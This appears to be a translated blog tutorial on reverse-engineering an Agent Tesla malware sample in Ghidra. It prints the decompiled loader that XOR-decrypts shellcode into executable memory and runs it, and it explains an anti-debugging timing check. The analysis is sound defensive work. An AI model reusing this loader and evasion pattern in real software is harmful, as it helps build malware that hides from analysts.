Hacker Learns to Combat Malware in Ghidra Using Agent Tesla

I recently came across an interesting piece of malware called Agent Tesla. It is widespread and still in use today (2023 sample). I suggest you try to examine it and see what’s inside the combat malware.

In addition, we will encounter:

Advertisement

  • with unpacking the NSIS installer and analyzing the resulting installation script, which will help us with unpacking;
  • searching for a function main when linking it to CRT (you might be surprised how much code the compiler implicitly throws into the .exe);
  • decryption and dumping of shellcode and preliminary search for it using the memory allocation function;
  • correct loading of the resulting shellcode into the disassembler.

This time I'll break away from my tradition of using IDA Pro for reversing: let's use Ghidra instead. Several years have passed since its release, it has acquired an impressive list of bugfixes and new features, moreover, it is free and is constantly updated.

info

The last time I wrote about Ghidra was in 2019, when this tool had just become available to the general public.

Preparatory work

We begin the preliminary reconnaissance stage: we throw a sample into the DiE packer and protector detector. We find out that the malware is supplied as an NSIS installer.

DiE scan result of Agent Tesla installer

We extract contents of the installer and we get several files. Please note that among the unpacked files there should be an NSIS script, which contains useful information. I used an outdated version of 7-Zip to extract (script extraction support starts with version 4.42 and ends in version 15.06).

Advertisement

Interesting part of the NSIS script
Interesting part of the NSIS script

In this part of the script we see a list of files in the installer and parameters for launching a single .exe (this is interesting and will be useful to us in the future). Among other script data there is an installation path InstallDir $TEMP. Now let's look at the PE file in DiE.

We look at the unpacked PE in DiE
We look at the unpacked PE in DiE

It can be seen that the file is written in C/C++, compiled for 32-bit systems and, judging by the not particularly high entropy, is not packed. It's time to upload it to Ghidra.

Reversim

Among the functions listed in the import table is the mention VirtualAlloc. This is what interests us, because malware often uses it to allocate memory for unpacking. We restore the cross-reference and see the function in which it is called.

We could try to take the “fast” route: load the malware into the debugger, put a breakpoint on VirtualAlloc and… fail because Agent Tesla will end before the breakpoint. Therefore, I always advise you to first examine interesting calls and the adjacent code in static form.

The function is small, I will give the full listing of the Ghidra decompiler. Moreover, almost all of it is interesting to us.

BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)

{

DWORD DVar1;

DWORD DVar2;

BOOL BVar3;

HANDLE hFile;

HANDLE hFileMappingObject;

LPVOID _Src;

code *_Dst;

int local_8;

DVar1 = GetTickCount();

Sleep(702);

DVar2 = GetTickCount();

if (DVar2 - DVar1 < 700) {

BVar3 = 0;

}

else {

hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);

if (hFile == 0xffffffff) {

BVar3 = 0;

}

else {

hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);

if (hFileMappingObject == 0x0) {

CloseHandle(hFile);

BVar3 = 0;

}

else {

_Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);

if (_Src == 0x0) {

CloseHandle(hFileMappingObject);

CloseHandle(hFile);

BVar3 = 0;

}

else {

_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);

if (_Dst == 0x0) {

UnmapViewOfFile(_Src);

CloseHandle(hFileMappingObject);

CloseHandle(hFile);

BVar3 = 0;

}

else {

FID_conflict:_memcpy(_Dst,_Src,0x1de0);

for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {

_Dst(local_8) = _Dst(local_8) ^ s_248058040134_0041c2a4(local_8 % 0xc);

}

(*_Dst)();

VirtualFree(_Dst,0,0x8000);

UnmapViewOfFile(_Src);

CloseHandle(hFileMappingObject);

BVar3 = CloseHandle(hFile);

}

}

}

}

}

return BVar3;

}

Here the lines of code that immediately catch your eye contain simple anti-debugging:

DVar1 = GetTickCount();

Sleep(702);

DVar2 = GetTickCount();

if (DVar2 - DVar1 < 700) {

BVar3 = 0;

}

else {

This is a well-known anti-debugging technique that checks the speed of code execution. If the code runs too slowly (we measure the execution time in milliseconds using two calls GetTickCount), variable BVar3 takes the value 0 and the program exits.

Advertisement